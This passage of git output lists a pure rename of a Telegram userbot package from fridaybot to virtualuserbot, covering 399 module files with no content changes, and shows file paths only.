virtualuserbot}/modules/colors.py | 0 {fridaybot => virtualuserbot}/modules/compress.py | 0 {fridaybot => virtualuserbot}/modules/congratulations.py | 0 {fridaybot => virtualuserbot}/modules/copy.py | 0 {fridaybot => virtualuserbot}/modules/count.py | 0 {fridaybot => virtualuserbot}/modules/countdown.py | 0 {fridaybot => virtualuserbot}/modules/countries.py | 0 {fridaybot => virtualuserbot}/modules/covid.py | 0 {fridaybot => virtualuserbot}/modules/cow.py | 0 {fridaybot => virtualuserbot}/modules/crack_tools.py | 0 {fridaybot => virtualuserbot}/modules/create.py | 0 {fridaybot => virtualuserbot}/modules/cricket_score.py | 0 {fridaybot => virtualuserbot}/modules/cry.py | 0 {fridaybot => virtualuserbot}/modules/crypto.py | 0 {fridaybot => virtualuserbot}/modules/currency.py | 0 {fridaybot => virtualuserbot}/modules/customs.py | 0 {fridaybot => virtualuserbot}/modules/dagd.py | 0 {fridaybot => virtualuserbot}/modules/decide.py | 0 {fridaybot => virtualuserbot}/modules/deepfryer.py | 0 {fridaybot => virtualuserbot}/modules/delfp.py | 0 {fridaybot => virtualuserbot}/modules/design.py | 0 {fridaybot => virtualuserbot}/modules/diceandart.py | 0 {fridaybot => virtualuserbot}/modules/dictionary.py | 0 {fridaybot => virtualuserbot}/modules/direct_links.py | 0 {fridaybot => virtualuserbot}/modules/dm.py | 0 {fridaybot => virtualuserbot}/modules/dns.py | 0 {fridaybot => virtualuserbot}/modules/download3.py | 0 {fridaybot => virtualuserbot}/modules/duckduckgo.py | 0 {fridaybot => virtualuserbot}/modules/dumpster.py | 0 {fridaybot => virtualuserbot}/modules/echo.py | 0 {fridaybot => virtualuserbot}/modules/ekart.py | 0 {fridaybot => virtualuserbot}/modules/emojify.py | 0 {fridaybot => virtualuserbot}/modules/emojis.py | 0 {fridaybot => virtualuserbot}/modules/ensongs.py | 0 {fridaybot => virtualuserbot}/modules/eval.py | 0 {fridaybot => virtualuserbot}/modules/exclusive.py | 0 {fridaybot => virtualuserbot}/modules/exec.py | 0 {fridaybot => virtualuserbot}/modules/execmod.py | 0 {fridaybot => virtualuserbot}/modules/extra.py | 0 {fridaybot => virtualuserbot}/modules/extra1.py | 0 {fridaybot => virtualuserbot}/modules/extranotes.py | 0 {fridaybot => virtualuserbot}/modules/eye.py | 0 {fridaybot => virtualuserbot}/modules/fakegen.py | 0 {fridaybot => virtualuserbot}/modules/fakeimagegen.py | 0 {fridaybot => virtualuserbot}/modules/fconvert.py | 0 {fridaybot => virtualuserbot}/modules/fed_ban.py | 0 {fridaybot => virtualuserbot}/modules/ff_mpeg.py | 0 {fridaybot => virtualuserbot}/modules/figlet.py | 0 {fridaybot => virtualuserbot}/modules/fileext.py | 0 {fridaybot => virtualuserbot}/modules/filemanager.py | 0 {fridaybot => virtualuserbot}/modules/filters.py | 0 {fridaybot => virtualuserbot}/modules/fine.txt | 0 {fridaybot => virtualuserbot}/modules/fleaveme.py | 0 {fridaybot => virtualuserbot}/modules/font3.py | 0 {fridaybot => virtualuserbot}/modules/fonts.py | 0 {fridaybot => virtualuserbot}/modules/fonts2.py | 0 {fridaybot => virtualuserbot}/modules/football.py | 0 {fridaybot => virtualuserbot}/modules/fpost.py | 0 {fridaybot => virtualuserbot}/modules/fridaybot.py | 0 {fridaybot => virtualuserbot}/modules/ftext.py | 0 {fridaybot => virtualuserbot}/modules/fuck11.py | 0 {fridaybot => virtualuserbot}/modules/fun.py | 0 {fridaybot => virtualuserbot}/modules/funarts.py | 0 {fridaybot => virtualuserbot}/modules/funnyfonts.py | 0 {fridaybot => virtualuserbot}/modules/funtxt2.py | 0 {fridaybot => virtualuserbot}/modules/fwd.py | 0 {fridaybot => virtualuserbot}/modules/gamersdp.py | 0 {fridaybot => virtualuserbot}/modules/games.py | 0 {fridaybot => virtualuserbot}/modules/gangasta.py | 0 {fridaybot => virtualuserbot}/modules/gdbye.py | 0 {fridaybot => virtualuserbot}/modules/gdrive_download.py | 0 {fridaybot => virtualuserbot}/modules/get_admin.py | 0 {fridaybot => virtualuserbot}/modules/get_bot.py | 0 {fridaybot => virtualuserbot}/modules/get_id.py | 0 {fridaybot => virtualuserbot}/modules/gettime.py | 0 {fridaybot => virtualuserbot}/modules/git.py | 0 {fridaybot => virtualuserbot}/modules/gitcommit.py | 0 {fridaybot => virtualuserbot}/modules/github.py | 0 {fridaybot => virtualuserbot}/modules/gizoogle.py | 0 {fridaybot => virtualuserbot}/modules/glitch.py | 0 {fridaybot => virtualuserbot}/modules/google.py | 0 {fridaybot => virtualuserbot}/modules/got_memes.py | 0 {fridaybot => virtualuserbot}/modules/got_thoughts.py | 0 {fridaybot => virtualuserbot}/modules/gprod.py | 0 {fridaybot => virtualuserbot}/modules/gps2.py | 0 {fridaybot => virtualuserbot}/modules/greetings.py | 0 {fridaybot => virtualuserbot}/modules/gtools.py | 0 {fridaybot => virtualuserbot}/modules/hack.py | 0 {fridaybot => virtualuserbot}/modules/hash.py | 0 {fridaybot => virtualuserbot}/modules/hbd.py | 0 {fridaybot => virtualuserbot}/modules/heroku.py | 0 {fridaybot => virtualuserbot}/modules/heroku_help.py | 0 {fridaybot => virtualuserbot}/modules/hotstar.py | 0 {fridaybot => virtualuserbot}/modules/howtogoogle.py | 0 {fridaybot => virtualuserbot}/modules/hyperlink.py | 0 {fridaybot => virtualuserbot}/modules/iffuci.py | 0 {fridaybot => virtualuserbot}/modules/ifsc.py | 0 {fridaybot => virtualuserbot}/modules/imageenc.py | 0 {fridaybot => virtualuserbot}/modules/imagefun.py | 0 {fridaybot => virtualuserbot}/modules/imagefun2.py | 0 {fridaybot => virtualuserbot}/modules/imagefun3.py | 0 {fridaybot => virtualuserbot}/modules/imagefun4.py | 0 {fridaybot => virtualuserbot}/modules/imagetools.py | 0 {fridaybot => virtualuserbot}/modules/imdb.py | 0 {fridaybot => virtualuserbot}/modules/img.py | 0 {fridaybot => virtualuserbot}/modules/imposter.py | 0 {fridaybot => virtualuserbot}/modules/information.py | 0 {fridaybot => virtualuserbot}/modules/inline_fun.py | 0 {fridaybot => virtualuserbot}/modules/install.py | 0 .../modules/instant_install_ext_module.py | 0 {fridaybot => virtualuserbot}/modules/iplookup.py | 0 {fridaybot => virtualuserbot}/modules/jainder.py | 0 {fridaybot => virtualuserbot}/modules/jio.py | 0 {fridaybot => virtualuserbot}/modules/json.py | 0 {fridaybot => virtualuserbot}/modules/kill.py | 0 {fridaybot => virtualuserbot}/modules/kk.py | 0 {fridaybot => virtualuserbot}/modules/labstack.py | 0 {fridaybot => virtualuserbot}/modules/language.py | 0 {fridaybot => virtualuserbot}/modules/lastfm.py | 0 {fridaybot => virtualuserbot}/modules/lastupdate.py | 0 {fridaybot => virtualuserbot}/modules/letmeabuse.py | 0 {fridaybot => virtualuserbot}/modules/list.py | 0 {fridaybot => virtualuserbot}/modules/listmyusernames.py | 0 {fridaybot => virtualuserbot}/modules/load_unload.py | 0 {fridaybot => virtualuserbot}/modules/locks.py | 0 {fridaybot => virtualuserbot}/modules/log_pms.py | 0 {fridaybot => virtualuserbot}/modules/logic.py | 0 {fridaybot => virtualuserbot}/modules/lol.py | 0 {fridaybot => virtualuserbot}/modules/lovestory.py | 0 {fridaybot => virtualuserbot}/modules/lucky.py | 0 {fridaybot => virtualuserbot}/modules/lydiaai2.py | 0 {fridaybot => virtualuserbot}/modules/lyric.py | 0 {fridaybot => virtualuserbot}/modules/markdown.py | 0 {fridaybot => virtualuserbot}/modules/mashup.py | 0 {fridaybot => virtualuserbot}/modules/mask.py | 0 {fridaybot => virtualuserbot}/modules/meaning.py | 0 {fridaybot => virtualuserbot}/modules/mediadata.py | 0 {fridaybot => virtualuserbot}/modules/memes.py | 0 {fridaybot => virtualuserbot}/modules/memevoice.py | 0 {fridaybot => virtualuserbot}/modules/memify.py | 0 {fridaybot => virtualuserbot}/modules/mention | 0 {fridaybot => virtualuserbot}/modules/mention.py | 0 {fridaybot => virtualuserbot}/modules/mf.py | 0 {fridaybot => virtualuserbot}/modules/mirrorace.py | 0 {fridaybot => virtualuserbot}/modules/misc.py | 0 {fridaybot => virtualuserbot}/modules/mmf.py | 0 {fridaybot => virtualuserbot}/modules/moon.py | 0 {fridaybot => virtualuserbot}/modules/movie_recomendation.py | 0 {fridaybot => virtualuserbot}/modules/mp3converter.py | 0 {fridaybot => virtualuserbot}/modules/mspam.py | 0 {fridaybot => virtualuserbot}/modules/mtn.py | 0 {fridaybot => virtualuserbot}/modules/musicdl.py | 0 {fridaybot => virtualuserbot}/modules/mute.py | 0 {fridaybot => virtualuserbot}/modules/muth.py | 0 {fridaybot => virtualuserbot}/modules/nakal.py | 0 {fridaybot => virtualuserbot}/modules/nekobot.py | 0 {fridaybot => virtualuserbot}/modules/news.py | 0 {fridaybot => virtualuserbot}/modules/ninja.py | 0 {fridaybot => virtualuserbot}/modules/no_spam_plus_devs.py | 0 {fridaybot => virtualuserbot}/modules/np.py | 0 {fridaybot => virtualuserbot}/modules/nsfw.py | 0 {fridaybot => virtualuserbot}/modules/nsfwdetect.py | 0 {fridaybot => virtualuserbot}/modules/ocr.py | 0 {fridaybot => virtualuserbot}/modules/ok.py | 0 {fridaybot => virtualuserbot}/modules/oldgdrive.py | 0 {fridaybot => virtualuserbot}/modules/os.py | 0 {fridaybot => virtualuserbot}/modules/owm.py | 0 {fridaybot => virtualuserbot}/modules/padmin.py | 0 {fridaybot => virtualuserbot}/modules/password_manager.py | 0 {fridaybot => virtualuserbot}/modules/password_tools.py | 0 {fridaybot => virtualuserbot}/modules/paste.py | 0 {fridaybot => virtualuserbot}/modules/pdf2docx.py | 0 {fridaybot => virtualuserbot}/modules/phonecontrol.py | 0 {fridaybot => virtualuserbot}/modules/phub.py | 0 {fridaybot => virtualuserbot}/modules/pin_message.py | 0 {fridaybot => virtualuserbot}/modules/ping.py | 0 {fridaybot => virtualuserbot}/modules/plane.py | 0 {fridaybot => virtualuserbot}/modules/pmpermit.py | 0 {fridaybot => virtualuserbot}/modules/pokedex.py | 0 {fridaybot => virtualuserbot}/modules/police.py | 0 {fridaybot => virtualuserbot}/modules/polls.py | 0 {fridaybot => virtualuserbot}/modules/porn.py | 0 {fridaybot => virtualuserbot}/modules/poto.py | 0 {fridaybot => virtualuserbot}/modules/power_tools.py | 0 {fridaybot => virtualuserbot}/modules/prankpromote.py | 0 {fridaybot => virtualuserbot}/modules/privatewelcome.py | 0 {fridaybot => virtualuserbot}/modules/pro_nub.py | 0 {fridaybot => virtualuserbot}/modules/profile.py | 0 {fridaybot => virtualuserbot}/modules/programmer_jokes.py | 0 {fridaybot => virtualuserbot}/modules/proxyscrape.py | 0 {fridaybot => virtualuserbot}/modules/purge.py | 0 {fridaybot => virtualuserbot}/modules/pyocr.py | 0 {fridaybot => virtualuserbot}/modules/qr_code.py | 0 {fridaybot => virtualuserbot}/modules/quickheal.py | 0 {fridaybot => virtualuserbot}/modules/quote.py | 0 {fridaybot => virtualuserbot}/modules/quotes.py | 0 {fridaybot => virtualuserbot}/modules/quotly.py | 0 {fridaybot => virtualuserbot}/modules/rain.py | 0 {fridaybot => virtualuserbot}/modules/rapidleech.py | 0 {fridaybot => virtualuserbot}/modules/react.py | 0 {fridaybot => virtualuserbot}/modules/reminder.py | 0 {fridaybot => virtualuserbot}/modules/remove.bg.py | 0 {fridaybot => virtualuserbot}/modules/rename.py | 0 {fridaybot => virtualuserbot}/modules/repeat.py | 0 {fridaybot => virtualuserbot}/modules/reveal.py | 0 {fridaybot => virtualuserbot}/modules/reverse.py | 0 {fridaybot => virtualuserbot}/modules/reverseimg.py | 0 {fridaybot => virtualuserbot}/modules/sangmata.py | 0 {fridaybot => virtualuserbot}/modules/sca.py | 0 {fridaybot => virtualuserbot}/modules/schd.py | 0 {fridaybot => virtualuserbot}/modules/screencapture.py | 0 {fridaybot => virtualuserbot}/modules/screenlong.py | 0 {fridaybot => virtualuserbot}/modules/screenshot.py | 0 {fridaybot => virtualuserbot}/modules/sed.py | 0 {fridaybot => virtualuserbot}/modules/selfdestruct.py | 0 {fridaybot => virtualuserbot}/modules/send.py | 0 {fridaybot => virtualuserbot}/modules/seotools.py | 0 {fridaybot => virtualuserbot}/modules/shout.py | 0 {fridaybot => virtualuserbot}/modules/shouts.py | 0 {fridaybot => virtualuserbot}/modules/singer.py | 0 {fridaybot => virtualuserbot}/modules/sizeresize.py | 0 {fridaybot => virtualuserbot}/modules/slap.py | 0 {fridaybot => virtualuserbot}/modules/snake.py | 0 {fridaybot => virtualuserbot}/modules/snip.py | 0 {fridaybot => virtualuserbot}/modules/solarsystem.py | 0 {fridaybot => virtualuserbot}/modules/something.py | 0 {fridaybot => virtualuserbot}/modules/song.py | 0 {fridaybot => virtualuserbot}/modules/songs.py | 0 {fridaybot => virtualuserbot}/modules/sp_search.py | 0 {fridaybot => virtualuserbot}/modules/spacedp.py | 0 {fridaybot => virtualuserbot}/modules/spam.py | 0 {fridaybot => virtualuserbot}/modules/speedtest.py | 0 .../modules/sql_helper/PostAppender_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/__init__.py | 0 .../modules/sql_helper/blacklist_assistant.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/blacklist_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/botusers_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/broadcast_sql.py | 0 .../modules/sql_helper/channel_sticker_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/echo_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/feds_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/filter_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/floodsql.py | 0 .../modules/sql_helper/gban_sql_helper.py | 0 .../modules/sql_helper/globelmute_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/gmute_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/idadder_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/locks_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/lydia_ai_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/mute_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/notes_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/pmpermit_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/snips_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/warns_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/welcome_sql.py | 0 {fridaybot => virtualuserbot}/modules/sql_helper/welcomesql.py | 0 {fridaybot => virtualuserbot}/modules/ssvideo.py | 0 {fridaybot => virtualuserbot}/modules/stats.py | 0 {fridaybot => virtualuserbot}/modules/steganography.py | 0 {fridaybot => virtualuserbot}/modules/stickcreater.py | 0 {fridaybot => virtualuserbot}/modules/sticker_2.py | 0 {fridaybot => virtualuserbot}/modules/stickerchat.py | 0 {fridaybot => virtualuserbot}/modules/stickers.py | 0 {fridaybot => virtualuserbot}/modules/stickertoimage.py | 0 {fridaybot => virtualuserbot}/modules/sticklet.py | 0 {fridaybot => virtualuserbot}/modules/stock_price.py | 0 {fridaybot => virtualuserbot}/modules/stt.py | 0 {fridaybot => virtualuserbot}/modules/study.py | 0 {fridaybot => virtualuserbot}/modules/superheroes.py | 0 {fridaybot => virtualuserbot}/modules/superstar.py | 0 {fridaybot => virtualuserbot}/modules/supportgroup.py | 0 {fridaybot => virtualuserbot}/modules/tag.py | 0 {fridaybot => virtualuserbot}/modules/tagall.py | 0 {fridaybot => virtualuserbot}/modules/tb_button.py | 0 {fridaybot => virtualuserbot}/modules/telegraph.py | 0 {fridaybot => virtualuserbot}/modules/terminal.py | 0 {fridaybot => virtualuserbot}/modules/test.py | 0 {fridaybot => virtualuserbot}/modules/think.py | 0 {fridaybot => virtualuserbot}/modules/thumbnail.py | 0 {fridaybot => virtualuserbot}/modules/tiktok.py | 0 {fridaybot => virtualuserbot}/modules/time.py | 0 {fridaybot => virtualuserbot}/modules/timefunc.py | 0 {fridaybot => virtualuserbot}/modules/toonify.py | 0 {fridaybot => virtualuserbot}/modules/torrentsearch.py | 0 {fridaybot => virtualuserbot}/modules/torrentz.py | 0 {fridaybot => virtualuserbot}/modules/translate.py | 0 {fridaybot => virtualuserbot}/modules/trolls.py | 0 {fridaybot => virtualuserbot}/modules/tweet.py | 0 {fridaybot => virtualuserbot}/modules/typing.py | 0 {fridaybot => virtualuserbot}/modules/ukinti.py | 0 {fridaybot => virtualuserbot}/modules/ultragoogle.py | 0 {fridaybot => virtualuserbot}/modules/undlt.py | 0 {fridaybot => virtualuserbot}/modules/unzipfile.py | 0 {fridaybot => virtualuserbot}/modules/updater.py | 0 {fridaybot => virtualuserbot}/modules/upload_dl.py | 0 {fridaybot => virtualuserbot}/modules/uploadtoverysteam.py | 0 {fridaybot => virtualuserbot}/modules/urbandictionary.py | 0 {fridaybot => virtualuserbot}/modules/urlshortner.py | 0 {fridaybot => virtualuserbot}/modules/userinfo.py | 0 {fridaybot => virtualuserbot}/modules/userlist.py | 0 {fridaybot => virtualuserbot}/modules/utube.py | 0 {fridaybot => virtualuserbot}/modules/verysteam.py | 0 {fridaybot => virtualuserbot}/modules/virustotal.py | 0 {fridaybot => virtualuserbot}/modules/voice.py | 0 {fridaybot => virtualuserbot}/modules/vsong.py | 0 {fridaybot => virtualuserbot}/modules/waifu.py | 0 {fridaybot => virtualuserbot}/modules/wallpapers.py | 0 {fridaybot => virtualuserbot}/modules/warnbun.py | 0 {fridaybot => virtualuserbot}/modules/warns.py | 0 {fridaybot => virtualuserbot}/modules/weather.py | 0 {fridaybot => virtualuserbot}/modules/webshot.py | 0 {fridaybot => virtualuserbot}/modules/webtools.py | 0 {fridaybot => virtualuserbot}/modules/webupload.py | 0 {fridaybot => virtualuserbot}/modules/weebify.py | 0 {fridaybot => virtualuserbot}/modules/welcome.py | 0 {fridaybot => virtualuserbot}/modules/whois.py | 0 {fridaybot => virtualuserbot}/modules/wikimedia.py | 0 {fridaybot => virtualuserbot}/modules/wikipedia.py | 0 {fridaybot => virtualuserbot}/modules/wtf.py | 0 {fridaybot => virtualuserbot}/modules/xkcd.py | 0 {fridaybot => virtualuserbot}/modules/xnxx.py | 0 {fridaybot => virtualuserbot}/modules/xtools.py | 0 {fridaybot => virtualuserbot}/modules/ytdl.py | 0 {fridaybot => virtualuserbot}/modules/ytmusic.py | 0 {fridaybot => virtualuserbot}/tweet.py | 0 {fridaybot => virtualuserbot}/utils.py | 0 {fridaybot => virtualuserbot}/wraptools/__init__.py | 0 399 files changed, 0 insertions(+), 0 deletions(-) rename {fridaybot => virtualuserbot}/Configs.py (100%) rename {fridaybot => virtualuserbot}/__init__.py (100%) rename {fridaybot => virtualuserbot}/__main__.py (100%) rename {fridaybot => virtualuserbot}/events.py (100%) rename {fridaybot => virtualuserbot}/function/__init__.py (100%) rename {fridaybot => virtualuserbot}/function/apis.py (100%) rename {fridaybot => virtualuserbot}/function/fridayfunction.py (100%) rename {fridaybot => virtualuserbot}/function/heroku_helper.py (100%) rename {fridaybot => virtualuserbot}/googol_images.py (100%) rename {fridaybot => virtualuserbot}/modules/README.md (100%) rename {fridaybot => virtualuserbot}/modules/WhatsNew.py (100%) rename {fridaybot => virtualuserbot}/modules/__init__.py (100%) rename {fridaybot => virtualuserbot}/modules/_helper.py (100%) rename {fridaybot => virtualuserbot}/modules/_inlinebot.py (100%) rename {fridaybot => virtualuserbot}/modules/add.py (100%) rename {fridaybot => virtualuserbot}/modules/addnote.py (100%) rename {fridaybot => virtualuserbot}/modules/admin.py (100%) rename {fridaybot => virtualuserbot}/modules/adultzone.py (100%) rename {fridaybot => virtualuserbot}/modules/advance_help.py (100%) rename {fridaybot => virtualuserbot}/modules/afk.py (100%) rename {fridaybot => virtualuserbot}/modules/alive.py (100%) rename {fridaybot => virtualuserbot}/modules/allban.py (100%) rename {fridaybot => virtualuserbot}/modules/android.py (100%) rename {fridaybot => virtualuserbot}/modules/anilist.py (100%) rename {fridaybot => virtualuserbot}/modules/animation1.py (100%) rename {fridaybot => virtualuserbot}/modules/animation2.py (100%) rename {fridaybot => virtualuserbot}/modules/animation3.py (100%) rename {fridaybot => virtualuserbot}/modules/animation4.py (100%) rename {fridaybot => virtualuserbot}/modules/anime.py (100%) rename {fridaybot => virtualuserbot}/modules/antiflood.py (100%) rename {fridaybot => virtualuserbot}/modules/antispam.py (100%) rename {fridaybot => virtualuserbot}/modules/antivirus.py (100%) rename {fridaybot => virtualuserbot}/modules/app.py (100%) rename {fridaybot => virtualuserbot}/modules/archiver.py (100%) rename {fridaybot => virtualuserbot}/modules/art.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/README.md (100%) rename {fridaybot => virtualuserbot}/modules/assistant/adminbot.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/bot_alive.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/id_bot.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/main_assistant.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/notes.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/ping.py (100%) rename {fridaybot => virtualuserbot}/modules/assistant/translater.py (100%) rename {fridaybot => virtualuserbot}/modules/autotools.py (100%) rename {fridaybot => virtualuserbot}/modules/barcode.py (100%) rename {fridaybot => virtualuserbot}/modules/bash.py (100%) rename {fridaybot => virtualuserbot}/modules/bassboost.py (100%) rename {fridaybot => virtualuserbot}/modules/bible.py (100%) rename {fridaybot => virtualuserbot}/modules/bigoof.py (100%) rename {fridaybot => virtualuserbot}/modules/bin.py (100%) rename {fridaybot => virtualuserbot}/modules/blacklist.py (100%) rename {fridaybot => virtualuserbot}/modules/books.py (100%) rename {fridaybot => virtualuserbot}/modules/bot_tag.py (100%) rename {fridaybot => virtualuserbot}/modules/broadcast.py (100%) rename {fridaybot => virtualuserbot}/modules/bye.py (100%) rename {fridaybot => virtualuserbot}/modules/calc.py (100%) rename {fridaybot => virtualuserbot}/modules/calladmin.py (100%) rename {fridaybot => virtualuserbot}/modules/carbon.py (100%) rename {fridaybot => virtualuserbot}/modules/carbonRGB.py (100%) rename {fridaybot => virtualuserbot}/modules/card.py (100%) rename {fridaybot => virtualuserbot}/modules/cbutton.py (100%) rename {fridaybot => virtualuserbot}/modules/chain.py (100%) rename {fridaybot => virtualuserbot}/modules/channel_download.py (100%) rename {fridaybot => virtualuserbot}/modules/channel_sticker.py (100%) rename {fridaybot => virtualuserbot}/modules/channel_zipper.py (100%) rename {fridaybot => virtualuserbot}/modules/checker.py (100%) rename {fridaybot => virtualuserbot}/modules/checkrestrictions.py (100%) rename {fridaybot => virtualuserbot}/modules/chotatweak.py (100%) rename {fridaybot => virtualuserbot}/modules/classictranslate.py (100%) rename {fridaybot => virtualuserbot}/modules/clone.py (100%) rename {fridaybot => virtualuserbot}/modules/cmd_list.py (100%) rename {fridaybot => virtualuserbot}/modules/coinflip.py (100%) rename {fridaybot => virtualuserbot}/modules/colors.py (100%) rename {fridaybot => virtualuserbot}/modules/compress.py (100%) rename {fridaybot => virtualuserbot}/modules/congratulations.py (100%) rename {fridaybot => virtualuserbot}/modules/copy.py (100%) rename {fridaybot => virtualuserbot}/modules/count.py (100%) rename {fridaybot => virtualuserbot}/modules/countdown.py (100%) rename {fridaybot => virtualuserbot}/modules/countries.py (100%) rename {fridaybot => virtualuserbot}/modules/covid.py (100%) rename {fridaybot => virtualuserbot}/modules/cow.py (100%) rename {fridaybot => virtualuserbot}/modules/crack_tools.py (100%) rename {fridaybot => virtualuserbot}/modules/create.py (100%) rename {fridaybot => virtualuserbot}/modules/cricket_score.py (100%) rename {fridaybot => virtualuserbot}/modules/cry.py (100%) rename {fridaybot => virtualuserbot}/modules/crypto.py (100%) rename {fridaybot => virtualuserbot}/modules/currency.py (100%) rename {fridaybot => virtualuserbot}/modules/customs.py (100%) rename {fridaybot => virtualuserbot}/modules/dagd.py (100%) rename {fridaybot => virtualuserbot}/modules/decide.py (100%) rename {fridaybot => virtualuserbot}/modules/deepfryer.py (100%) rename {fridaybot => virtualuserbot}/modules/delfp.py (100%) rename {fridaybot => virtualuserbot}/modules/design.py (100%) rename {fridaybot => virtualuserbot}/modules/diceandart.py (100%) rename {fridaybot => virtualuserbot}/modules/dictionary.py (100%) rename {fridaybot => virtualuserbot}/modules/direct_links.py (100%) rename {fridaybot => virtualuserbot}/modules/dm.py (100%) rename {fridaybot => virtualuserbot}/modules/dns.py (100%) rename {fridaybot => virtualuserbot}/modules/download3.py (100%) rename {fridaybot => virtualuserbot}/modules/duckduckgo.py (100%) rename {fridaybot => virtualuserbot}/modules/dumpster.py (100%) rename {fridaybot => virtualuserbot}/modules/echo.py (100%) rename {fridaybot => virtualuserbot}/modules/ekart.py (100%) rename {fridaybot => virtualuserbot}/modules/emojify.py (100%) rename {fridaybot => virtualuserbot}/modules/emojis.py (100%) rename {fridaybot => virtualuserbot}/modules/ensongs.py (100%) rename {fridaybot => virtualuserbot}/modules/eval.py (100%) rename {fridaybot => virtualuserbot}/modules/exclusive.py (100%) rename {fridaybot => virtualuserbot}/modules/exec.py (100%) rename {fridaybot => virtualuserbot}/modules/execmod.py (100%) rename {fridaybot => virtualuserbot}/modules/extra.py (100%) rename {fridaybot => virtualuserbot}/modules/extra1.py (100%) rename {fridaybot => virtualuserbot}/modules/extranotes.py (100%) rename {fridaybot => virtualuserbot}/modules/eye.py (100%) rename {fridaybot => virtualuserbot}/modules/fakegen.py (100%) rename {fridaybot => virtualuserbot}/modules/fakeimagegen.py (100%) rename {fridaybot => virtualuserbot}/modules/fconvert.py (100%) rename {fridaybot => virtualuserbot}/modules/fed_ban.py (100%) rename {fridaybot => virtualuserbot}/modules/ff_mpeg.py (100%) rename {fridaybot => virtualuserbot}/modules/figlet.py (100%) rename {fridaybot => virtualuserbot}/modules/fileext.py (100%) rename {fridaybot => virtualuserbot}/modules/filemanager.py (100%) rename {fridaybot => virtualuserbot}/modules/filters.py (100%) rename {fridaybot => virtualuserbot}/modules/fine.txt (100%) rename {fridaybot => virtualuserbot}/modules/fleaveme.py (100%) rename {fridaybot => virtualuserbot}/modules/font3.py (100%) rename {fridaybot => virtualuserbot}/modules/fonts.py (100%) rename {fridaybot => virtualuserbot}/modules/fonts2.py (100%) rename {fridaybot => virtualuserbot}/modules/football.py (100%) rename {fridaybot => virtualuserbot}/modules/fpost.py (100%) rename {fridaybot => virtualuserbot}/modules/fridaybot.py (100%) rename {fridaybot => virtualuserbot}/modules/ftext.py (100%) rename {fridaybot => virtualuserbot}/modules/fuck11.py (100%) rename {fridaybot => virtualuserbot}/modules/fun.py (100%) rename {fridaybot => virtualuserbot}/modules/funarts.py (100%) rename {fridaybot => virtualuserbot}/modules/funnyfonts.py (100%) rename {fridaybot => virtualuserbot}/modules/funtxt2.py (100%) rename {fridaybot => virtualuserbot}/modules/fwd.py (100%) rename {fridaybot => virtualuserbot}/modules/gamersdp.py (100%) rename {fridaybot => virtualuserbot}/modules/games.py (100%) rename {fridaybot => virtualuserbot}/modules/gangasta.py (100%) rename {fridaybot => virtualuserbot}/modules/gdbye.py (100%) rename {fridaybot => virtualuserbot}/modules/gdrive_download.py (100%) rename {fridaybot => virtualuserbot}/modules/get_admin.py (100%) rename {fridaybot => virtualuserbot}/modules/get_bot.py (100%) rename {fridaybot => virtualuserbot}/modules/get_id.py (100%) rename {fridaybot => virtualuserbot}/modules/gettime.py (100%) rename {fridaybot => virtualuserbot}/modules/git.py (100%) rename {fridaybot => virtualuserbot}/modules/gitcommit.py (100%) rename {fridaybot => virtualuserbot}/modules/github.py (100%) rename {fridaybot => virtualuserbot}/modules/gizoogle.py (100%) rename {fridaybot => virtualuserbot}/modules/glitch.py (100%) rename {fridaybot => virtualuserbot}/modules/google.py (100%) rename {fridaybot => virtualuserbot}/modules/got_memes.py (100%) rename {fridaybot => virtualuserbot}/modules/got_thoughts.py (100%) rename {fridaybot => virtualuserbot}/modules/gprod.py (100%) rename {fridaybot => virtualuserbot}/modules/gps2.py (100%) rename {fridaybot => virtualuserbot}/modules/greetings.py (100%) rename {fridaybot => virtualuserbot}/modules/gtools.py (100%) rename {fridaybot => virtualuserbot}/modules/hack.py (100%) rename {fridaybot => virtualuserbot}/modules/hash.py (100%) rename {fridaybot => virtualuserbot}/modules/hbd.py (100%) rename {fridaybot => virtualuserbot}/modules/heroku.py (100%) rename {fridaybot => virtualuserbot}/modules/heroku_help.py (100%) rename {fridaybot => virtualuserbot}/modules/hotstar.py (100%) rename {fridaybot => virtualuserbot}/modules/howtogoogle.py (100%) rename {fridaybot => virtualuserbot}/modules/hyperlink.py (100%) rename {fridaybot => virtualuserbot}/modules/iffuci.py (100%) rename {fridaybot => virtualuserbot}/modules/ifsc.py (100%) rename {fridaybot => virtualuserbot}/modules/imageenc.py (100%) rename {fridaybot => virtualuserbot}/modules/imagefun.py (100%) rename {fridaybot => virtualuserbot}/modules/imagefun2.py (100%) rename {fridaybot => virtualuserbot}/modules/imagefun3.py (100%) rename {fridaybot => virtualuserbot}/modules/imagefun4.py (100%) rename {fridaybot => virtualuserbot}/modules/imagetools.py (100%) rename {fridaybot => virtualuserbot}/modules/imdb.py (100%) rename {fridaybot => virtualuserbot}/modules/img.py (100%) rename {fridaybot => virtualuserbot}/modules/imposter.py (100%) rename {fridaybot => virtualuserbot}/modules/information.py (100%) rename {fridaybot => virtualuserbot}/modules/inline_fun.py (100%) rename {fridaybot => virtualuserbot}/modules/install.py (100%) rename {fridaybot => virtualuserbot}/modules/instant_install_ext_module.py (100%) rename {fridaybot => virtualuserbot}/modules/iplookup.py (100%) rename {fridaybot => 